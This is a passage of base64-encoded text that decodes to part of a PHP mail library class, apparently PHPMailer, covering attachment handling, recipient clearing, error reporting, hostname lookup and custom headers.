2U2NCcsDQogICAgICAgICR0eXBlID0gJycsDQogICAgICAgICRkaXNwb3NpdGlvbiA9ICdhdHRhY2htZW50Jw0KICAgICkgew0KICAgICAgICAvLyBJZiBhIE1JTUUgdHlwZSBpcyBub3Qgc3BlY2lmaWVkLCB0cnkgdG8gd29yayBpdCBvdXQgZnJvbSB0aGUgZmlsZSBuYW1lDQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgew0KICAgICAgICAgICAgJHR5cGUgPSBzZWxmOjpmaWxlbmFtZVRvVHlwZSgkZmlsZW5hbWUpOw0KICAgICAgICB9DQogICAgICAgIC8vIEFwcGVuZCB0byAkYXR0YWNobWVudCBhcnJheQ0KICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoDQogICAgICAgICAgICAwID0+ICRzdHJpbmcsDQogICAgICAgICAgICAxID0+ICRmaWxlbmFtZSwNCiAgICAgICAgICAgIDIgPT4gYmFzZW5hbWUoJGZpbGVuYW1lKSwNCiAgICAgICAgICAgIDMgPT4gJGVuY29kaW5nLA0KICAgICAgICAgICAgNCA9PiAkdHlwZSwNCiAgICAgICAgICAgIDUgPT4gdHJ1ZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50DQogICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwNCiAgICAgICAgICAgIDcgPT4gMA0KICAgICAgICApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFkZCBhbiBlbWJlZGRlZCAoaW5saW5lKSBhdHRhY2htZW50IGZyb20gYSBmaWxlLg0KICAgICAqIFRoaXMgY2FuIGluY2x1ZGUgaW1hZ2VzLCBzb3VuZHMsIGFuZCBqdXN0IGFib3V0IGFueSBvdGhlciBkb2N1bWVudCB0eXBlLg0KICAgICAqIFRoZXNlIGRpZmZlciBmcm9tICdyZWd1bGFyJyBhdHRhY2htZW50cyBpbiB0aGF0IHRoZXkgYXJlIGludGVuZGVkIHRvIGJlDQogICAgICogZGlzcGxheWVkIGlubGluZSB3aXRoIHRoZSBtZXNzYWdlLCBub3QganVzdCBhdHRhY2hlZCBmb3IgZG93bmxvYWQuDQogICAgICogVGhpcyBpcyB1c2VkIGluIEhUTUwgbWVzc2FnZXMgdGhhdCBlbWJlZCB0aGUgaW1hZ2VzDQogICAgICogdGhlIEhUTUwgcmVmZXJzIHRvIHVzaW5nIHRoZSAkY2lkIHZhbHVlLg0KICAgICAqIE5ldmVyIHVzZSBhIHVzZXItc3VwcGxpZWQgcGF0aCB0byBhIGZpbGUhDQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBQYXRoIHRvIHRoZSBhdHRhY2htZW50Lg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGNpZCBDb250ZW50IElEIG9mIHRoZSBhdHRhY2htZW50OyBVc2UgdGhpcyB0byByZWZlcmVuY2UNCiAgICAgKiAgICAgICAgdGhlIGNvbnRlbnQgd2hlbiB1c2luZyBhbiBlbWJlZGRlZCBpbWFnZSBpbiBIVE1MLg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuDQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgRmlsZSBlbmNvZGluZyAoc2VlICRFbmNvZGluZykuDQogICAgICogQHBhcmFtIHN0cmluZyAkdHlwZSBGaWxlIE1JTUUgdHlwZS4NCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UNCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gVHJ1ZSBvbiBzdWNjZXNzZnVsbHkgYWRkaW5nIGFuIGF0dGFjaG1lbnQNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkRW1iZWRkZWRJbWFnZSgkcGF0aCwgJGNpZCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gJ2Jhc2U2NCcsICR0eXBlID0gJycsICRkaXNwb3NpdGlvbiA9ICdpbmxpbmUnKQ0KICAgIHsNCiAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJHBhdGgpIG9yICFAaXNfZmlsZSgkcGF0aCkpIHsNCiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZmlsZV9hY2Nlc3MnKSAuICRwYXRoKTsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBmaWxlIG5hbWUNCiAgICAgICAgaWYgKCR0eXBlID09ICcnKSB7DQogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsNCiAgICAgICAgfQ0KDQogICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRwYXRoKTsNCiAgICAgICAgaWYgKCRuYW1lID09ICcnKSB7DQogICAgICAgICAgICAkbmFtZSA9ICRmaWxlbmFtZTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEFwcGVuZCB0byAkYXR0YWNobWVudCBhcnJheQ0KICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoDQogICAgICAgICAgICAwID0+ICRwYXRoLA0KICAgICAgICAgICAgMSA9PiAkZmlsZW5hbWUsDQogICAgICAgICAgICAyID0+ICRuYW1lLA0KICAgICAgICAgICAgMyA9PiAkZW5jb2RpbmcsDQogICAgICAgICAgICA0ID0+ICR0eXBlLA0KICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50DQogICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwNCiAgICAgICAgICAgIDcgPT4gJGNpZA0KICAgICAgICApOw0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgYW4gZW1iZWRkZWQgc3RyaW5naWZpZWQgYXR0YWNobWVudC4NCiAgICAgKiBUaGlzIGNhbiBpbmNsdWRlIGltYWdlcywgc291bmRzLCBhbmQganVzdCBhYm91dCBhbnkgb3RoZXIgZG9jdW1lbnQgdHlwZS4NCiAgICAgKiBCZSBzdXJlIHRvIHNldCB0aGUgJHR5cGUgdG8gYW4gaW1hZ2UgdHlwZSBmb3IgaW1hZ2VzOg0KICAgICAqIEpQRUcgaW1hZ2VzIHVzZSAnaW1hZ2UvanBlZycsIEdJRiB1c2VzICdpbWFnZS9naWYnLCBQTkcgdXNlcyAnaW1hZ2UvcG5nJy4NCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIGF0dGFjaG1lbnQgYmluYXJ5IGRhdGEuDQogICAgICogQHBhcmFtIHN0cmluZyAkY2lkIENvbnRlbnQgSUQgb2YgdGhlIGF0dGFjaG1lbnQ7IFVzZSB0aGlzIHRvIHJlZmVyZW5jZQ0KICAgICAqICAgICAgICB0aGUgY29udGVudCB3aGVuIHVzaW5nIGFuIGVtYmVkZGVkIGltYWdlIGluIEhUTUwuDQogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kaW5nIEZpbGUgZW5jb2RpbmcgKHNlZSAkRW5jb2RpbmcpLg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgTUlNRSB0eXBlLg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uIERpc3Bvc2l0aW9uIHRvIHVzZQ0KICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIG9uIHN1Y2Nlc3NmdWxseSBhZGRpbmcgYW4gYXR0YWNobWVudA0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRTdHJpbmdFbWJlZGRlZEltYWdlKA0KICAgICAgICAkc3RyaW5nLA0KICAgICAgICAkY2lkLA0KICAgICAgICAkbmFtZSA9ICcnLA0KICAgICAgICAkZW5jb2RpbmcgPSAnYmFzZTY0JywNCiAgICAgICAgJHR5cGUgPSAnJywNCiAgICAgICAgJGRpc3Bvc2l0aW9uID0gJ2lubGluZScNCiAgICApIHsNCiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIG5hbWUNCiAgICAgICAgaWYgKCR0eXBlID09ICcnIGFuZCAhZW1wdHkoJG5hbWUpKSB7DQogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRuYW1lKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEFwcGVuZCB0byAkYXR0YWNobWVudCBhcnJheQ0KICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoDQogICAgICAgICAgICAwID0+ICRzdHJpbmcsDQogICAgICAgICAgICAxID0+ICRuYW1lLA0KICAgICAgICAgICAgMiA9PiAkbmFtZSwNCiAgICAgICAgICAgIDMgPT4gJGVuY29kaW5nLA0KICAgICAgICAgICAgNCA9PiAkdHlwZSwNCiAgICAgICAgICAgIDUgPT4gdHJ1ZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50DQogICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwNCiAgICAgICAgICAgIDcgPT4gJGNpZA0KICAgICAgICApOw0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaGVjayBpZiBhbiBpbmxpbmUgYXR0YWNobWVudCBpcyBwcmVzZW50Lg0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHJldHVybiBib29sZWFuDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGlubGluZUltYWdlRXhpc3RzKCkNCiAgICB7DQogICAgICAgIGZvcmVhY2ggKCR0aGlzLT5hdHRhY2htZW50IGFzICRhdHRhY2htZW50KSB7DQogICAgICAgICAgICBpZiAoJGF0dGFjaG1lbnRbNl0gPT0gJ2lubGluZScpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2hlY2sgaWYgYW4gYXR0YWNobWVudCAobm9uLWlubGluZSkgaXMgcHJlc2VudC4NCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4NCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gYXR0YWNobWVudEV4aXN0cygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCkgew0KICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICdhdHRhY2htZW50Jykgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaGVjayBpZiB0aGlzIG1lc3NhZ2UgaGFzIGFuIGFsdGVybmF0aXZlIGJvZHkgc2V0Lg0KICAgICAqIEByZXR1cm4gYm9vbGVhbg0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBhbHRlcm5hdGl2ZUV4aXN0cygpDQogICAgew0KICAgICAgICByZXR1cm4gIWVtcHR5KCR0aGlzLT5BbHRCb2R5KTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDbGVhciBxdWV1ZWQgYWRkcmVzc2VzIG9mIGdpdmVuIGtpbmQuDQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRraW5kICd0bycsICdjYycsIG9yICdiY2MnDQogICAgICogQHJldHVybiB2b2lkDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyUXVldWVkQWRkcmVzc2VzKCRraW5kKQ0KICAgIHsNCiAgICAgICAgJFJlY2lwaWVudHNRdWV1ZSA9ICR0aGlzLT5SZWNpcGllbnRzUXVldWU7DQogICAgICAgIGZvcmVhY2ggKCRSZWNpcGllbnRzUXVldWUgYXMgJGFkZHJlc3MgPT4gJHBhcmFtcykgew0KICAgICAgICAgICAgaWYgKCRwYXJhbXNbMF0gPT0gJGtpbmQpIHsNCiAgICAgICAgICAgICAgICB1bnNldCgkdGhpcy0+UmVjaXBpZW50c1F1ZXVlWyRhZGRyZXNzXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDbGVhciBhbGwgVG8gcmVjaXBpZW50cy4NCiAgICAgKiBAcmV0dXJuIHZvaWQNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBZGRyZXNzZXMoKQ0KICAgIHsNCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0bykgew0KICAgICAgICAgICAgdW5zZXQoJHRoaXMtPmFsbF9yZWNpcGllbnRzW3N0cnRvbG93ZXIoJHRvWzBdKV0pOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7DQogICAgICAgICR0aGlzLT5jbGVhclF1ZXVlZEFkZHJlc3NlcygndG8nKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDbGVhciBhbGwgQ0MgcmVjaXBpZW50cy4NCiAgICAgKiBAcmV0dXJuIHZvaWQNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJDQ3MoKQ0KICAgIHsNCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmNjIGFzICRjYykgew0KICAgICAgICAgICAgdW5zZXQoJHRoaXMtPmFsbF9yZWNpcGllbnRzW3N0cnRvbG93ZXIoJGNjWzBdKV0pOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5jYyA9IGFycmF5KCk7DQogICAgICAgICR0aGlzLT5jbGVhclF1ZXVlZEFkZHJlc3NlcygnY2MnKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDbGVhciBhbGwgQkNDIHJlY2lwaWVudHMuDQogICAgICogQHJldHVybiB2b2lkDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQkNDcygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkdGhpcy0+YmNjIGFzICRiY2MpIHsNCiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRiY2NbMF0pXSk7DQogICAgICAgIH0NCiAgICAgICAgJHRoaXMtPmJjYyA9IGFycmF5KCk7DQogICAgICAgICR0aGlzLT5jbGVhclF1ZXVlZEFkZHJlc3NlcygnYmNjJyk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2xlYXIgYWxsIFJlcGx5VG8gcmVjaXBpZW50cy4NCiAgICAgKiBAcmV0dXJuIHZvaWQNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJSZXBseVRvcygpDQogICAgew0KICAgICAgICAkdGhpcy0+UmVwbHlUbyA9IGFycmF5KCk7DQogICAgICAgICR0aGlzLT5SZXBseVRvUXVldWUgPSBhcnJheSgpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENsZWFyIGFsbCByZWNpcGllbnQgdHlwZXMuDQogICAgICogQHJldHVybiB2b2lkDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQWxsUmVjaXBpZW50cygpDQogICAgew0KICAgICAgICAkdGhpcy0+dG8gPSBhcnJheSgpOw0KICAgICAgICAkdGhpcy0+Y2MgPSBhcnJheSgpOw0KICAgICAgICAkdGhpcy0+YmNjID0gYXJyYXkoKTsNCiAgICAgICAgJHRoaXMtPmFsbF9yZWNpcGllbnRzID0gYXJyYXkoKTsNCiAgICAgICAgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZSA9IGFycmF5KCk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2xlYXIgYWxsIGZpbGVzeXN0ZW0sIHN0cmluZywgYW5kIGJpbmFyeSBhdHRhY2htZW50cy4NCiAgICAgKiBAcmV0dXJuIHZvaWQNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBdHRhY2htZW50cygpDQogICAgew0KICAgICAgICAkdGhpcy0+YXR0YWNobWVudCA9IGFycmF5KCk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2xlYXIgYWxsIGN1c3RvbSBoZWFkZXJzLg0KICAgICAqIEByZXR1cm4gdm9pZA0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckN1c3RvbUhlYWRlcnMoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPkN1c3RvbUhlYWRlciA9IGFycmF5KCk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIGFuIGVycm9yIG1lc3NhZ2UgdG8gdGhlIGVycm9yIGNvbnRhaW5lci4NCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZA0KICAgICAqIEBwYXJhbSBzdHJpbmcgJG1zZw0KICAgICAqIEByZXR1cm4gdm9pZA0KICAgICAqLw0KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzZXRFcnJvcigkbXNnKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPmVycm9yX2NvdW50Kys7DQogICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdzbXRwJyBhbmQgIWlzX251bGwoJHRoaXMtPnNtdHApKSB7DQogICAgICAgICAgICAkbGFzdGVycm9yID0gJHRoaXMtPnNtdHAtPmdldEVycm9yKCk7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ2Vycm9yJ10pKSB7DQogICAgICAgICAgICAgICAgJG1zZyAuPSAkdGhpcy0+bGFuZygnc210cF9lcnJvcicpIC4gJGxhc3RlcnJvclsnZXJyb3InXTsNCiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ2RldGFpbCddKSkgew0KICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgRGV0YWlsOiAnLiAkbGFzdGVycm9yWydkZXRhaWwnXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbGFzdGVycm9yWydzbXRwX2NvZGUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJG1zZyAuPSAnIFNNVFAgY29kZTogJyAuICRsYXN0ZXJyb3JbJ3NtdHBfY29kZSddOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddKSkgew0KICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgQWRkaXRpb25hbCBTTVRQIGluZm86ICcgLiAkbGFzdGVycm9yWydzbXRwX2NvZGVfZXgnXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHRoaXMtPkVycm9ySW5mbyA9ICRtc2c7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUmV0dXJuIGFuIFJGQyA4MjIgZm9ybWF0dGVkIGRhdGUuDQogICAgICogQGFjY2VzcyBwdWJsaWMNCiAgICAgKiBAcmV0dXJuIHN0cmluZw0KICAgICAqIEBzdGF0aWMNCiAgICAgKi8NCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJmY0RhdGUoKQ0KICAgIHsNCiAgICAgICAgLy8gU2V0IHRoZSB0aW1lIHpvbmUgdG8gd2hhdGV2ZXIgdGhlIGRlZmF1bHQgaXMgdG8gYXZvaWQgNTAwIGVycm9ycw0KICAgICAgICAvLyBXaWxsIGRlZmF1bHQgdG8gVVRDIGlmIGl0J3Mgbm90IHNldCBwcm9wZXJseSBpbiBwaHAuaW5pDQogICAgICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoQGRhdGVfZGVmYXVsdF90aW1lem9uZV9nZXQoKSk7DQogICAgICAgIHJldHVybiBkYXRlKCdELCBqIE0gWSBIOmk6cyBPJyk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogR2V0IHRoZSBzZXJ2ZXIgaG9zdG5hbWUuDQogICAgICogUmV0dXJucyAnbG9jYWxob3N0LmxvY2FsZG9tYWluJyBpZiB1bmtub3duLg0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2VydmVySG9zdG5hbWUoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICdsb2NhbGhvc3QubG9jYWxkb21haW4nOw0KICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5Ib3N0bmFtZSkpIHsNCiAgICAgICAgICAgICRyZXN1bHQgPSAkdGhpcy0+SG9zdG5hbWU7DQogICAgICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUikgYW5kIGFycmF5X2tleV9leGlzdHMoJ1NFUlZFUl9OQU1FJywgJF9TRVJWRVIpIGFuZCAhZW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSB7DQogICAgICAgICAgICAkcmVzdWx0ID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107DQogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2dldGhvc3RuYW1lJykgJiYgZ2V0aG9zdG5hbWUoKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICRyZXN1bHQgPSBnZXRob3N0bmFtZSgpOw0KICAgICAgICB9IGVsc2VpZiAocGhwX3VuYW1lKCduJykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAkcmVzdWx0ID0gcGhwX3VuYW1lKCduJyk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogR2V0IGFuIGVycm9yIG1lc3NhZ2UgaW4gdGhlIGN1cnJlbnQgbGFuZ3VhZ2UuDQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRrZXkNCiAgICAgKiBAcmV0dXJuIHN0cmluZw0KICAgICAqLw0KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBsYW5nKCRrZXkpDQogICAgew0KICAgICAgICBpZiAoY291bnQoJHRoaXMtPmxhbmd1YWdlKSA8IDEpIHsNCiAgICAgICAgICAgICR0aGlzLT5zZXRMYW5ndWFnZSgnZW4nKTsgLy8gc2V0IHRoZSBkZWZhdWx0IGxhbmd1YWdlDQogICAgICAgIH0NCg0KICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygka2V5LCAkdGhpcy0+bGFuZ3VhZ2UpKSB7DQogICAgICAgICAgICBpZiAoJGtleSA9PSAnc210cF9jb25uZWN0X2ZhaWxlZCcpIHsNCiAgICAgICAgICAgICAgICAvL0luY2x1ZGUgYSBsaW5rIHRvIHRyb3VibGVzaG9vdGluZyBkb2NzIG9uIFNNVFAgY29ubmVjdGlvbiBmYWlsdXJlDQogICAgICAgICAgICAgICAgLy90aGlzIGlzIGJ5IGZhciB0aGUgYmlnZ2VzdCBjYXVzZSBvZiBzdXBwb3J0IHF1ZXN0aW9ucw0KICAgICAgICAgICAgICAgIC8vYnV0IGl0J3MgdXN1YWxseSBub3QgUEhQTWFpbGVyJ3MgZmF1bHQuDQogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5sYW5ndWFnZVska2V5XSAuICcgaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIvd2lraS9Ucm91Ymxlc2hvb3RpbmcnOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5sYW5ndWFnZVska2V5XTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIC8vUmV0dXJuIHRoZSBrZXkgYXMgYSBmYWxsYmFjaw0KICAgICAgICAgICAgcmV0dXJuICRrZXk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaGVjayBpZiBhbiBlcnJvciBvY2N1cnJlZC4NCiAgICAgKiBAYWNjZXNzIHB1YmxpYw0KICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIGlmIGFuIGVycm9yIGRpZCBvY2N1ci4NCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNFcnJvcigpDQogICAgew0KICAgICAgICByZXR1cm4gKCR0aGlzLT5lcnJvcl9jb3VudCA+IDApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEVuc3VyZSBjb25zaXN0ZW50IGxpbmUgZW5kaW5ncyBpbiBhIHN0cmluZy4NCiAgICAgKiBDaGFuZ2VzIGV2ZXJ5IGVuZCBvZiBsaW5lIGZyb20gQ1JMRiwgQ1Igb3IgTEYgdG8gJHRoaXMtPkxFLg0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIFN0cmluZyB0byBmaXhFT0wNCiAgICAgKiBAcmV0dXJuIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBmaXhFT0woJHN0cikNCiAgICB7DQogICAgICAgIC8vIE5vcm1hbGlzZSB0byBcbg0KICAgICAgICAkbnN0ciA9IHN0cl9yZXBsYWNlKGFycmF5KCJcclxuIiwgIlxyIiksICJcbiIsICRzdHIpOw0KICAgICAgICAvLyBOb3cgY29udmVydCBMRSBhcyBuZWVkZWQNCiAgICAgICAgaWYgKCR0aGlzLT5MRSAhPT0gIlxuIikgew0KICAgICAgICAgICAgJG5zdHIgPSBzdHJfcmVwbGFjZSgiXG4iLCAkdGhpcy0+TEUsICRuc3RyKTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJG5zdHI7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIGEgY3VzdG9tIGhlYWRlci4NCiAgICAgKiAkbmFtZSB2YWx1ZSBjYW4gYmUgb3ZlcmxvYWRlZCB0byBjb250YWluDQogICAgICogYm90aCBoZWFkZXIgbmFtZSBhbmQgdmFsdWUgKG5hbWU6dmFsdWUpDQogICAgICogQGFjY2VzcyBwdWJsaWMNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lIEN1c3RvbSBoZWFkZXIgbmFtZQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHZhbHVlIEhlYWRlciB2YWx1ZQ0KICAgICAqIEByZXR1cm4gdm9pZA0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRDdXN0b21IZWFkZXIoJG5hbWUsICR2YWx1ZSA9IG51bGwpDQogICAgew0KICAgICAgICBpZiAoJHZhbHVlID09PSBudWxsKSB7DQogICAgICAgICAgICAvLyBWYWx1ZSBwYXNzZWQgaW4gYXMgbmFtZTp2YWx1ZQ0KICAgICAgICAgICAgJHRoaXMtPkN1c3RvbUhlYWRlcltdID0gZXhwbG9kZSgnOicsICRuYW1lLCAyKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXJbXSA9IGFycmF5KCRuYW1lLCAkdmFsdWUpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUmV0dXJucyBhbGwgY3VzdG9tIGhlYWRlcnMuDQogICAgICogQHJldHVybiBhcnJheQ0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDdXN0b21IZWFkZXJzKCkNCiAgICB7DQogICAgICAgIHJldHVybiAkdGhpcy0+Q3VzdG9tSGVhZGVyOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYm9keSBmcm9tIGFuIEhUTUwgc3RyaW5nLg0KICAgICAqIEF1dG9tYXRpY2FsbHkgaW5saW5lcyBpbWFnZXMgYW5kIGNyZWF0ZXMgYSBwbGFpbi10ZXh0IHZlcnNpb24gYnkgY29udmVydGluZyB0aGUgSFRNTCwNCiAgICAgKiBvdmVyd3JpdGluZyBhbnkgZXhpc3RpbmcgdmFsdWVzIGluIEJvZHkgYW5kIEFsdEJvZHkuDQogICAgICogRG8gbm90IHNvdXJjZSAkbWVzc2FnZSBjb250ZW50IGZyb20gdXNlciBpbnB1dCENCiAgICAgKiAkYmFzZWRpciBpcyBwcmVwZW5kZWQgd2hlbiBoYW5kbGluZyByZWxhdGl2ZSBVUkxzLCBlLmcuIDxpbWcgc3JjPSIvaW1hZ2VzL2EucG5nIj4gYW5kIG11c3Qgbm90IGJlIGVtcHR5DQogICAgICogd2lsbCBsb29rIGZvciBhbiBpbWFnZSBmaWxlIGluICRiYXNlZGlyL2ltYWdlcy9hLnBuZyBhbmQgY29udmVydCBpdCB0byBpbmxpbmUuDQogICAgICogSWYgeW91IGRvbid0IHByb3ZpZGUgYSAkYmFzZWRpciwgcmVsYXRpdmUgcGF0aHMgd2lsbCBiZSBsZWZ0IHVudG91Y2hlZCAoYW5kIHRodXMgcHJvYmFibHkgYnJlYWsgaW4gZW1haWwpDQogICAgICogSWYgeW91IGRvbid0IH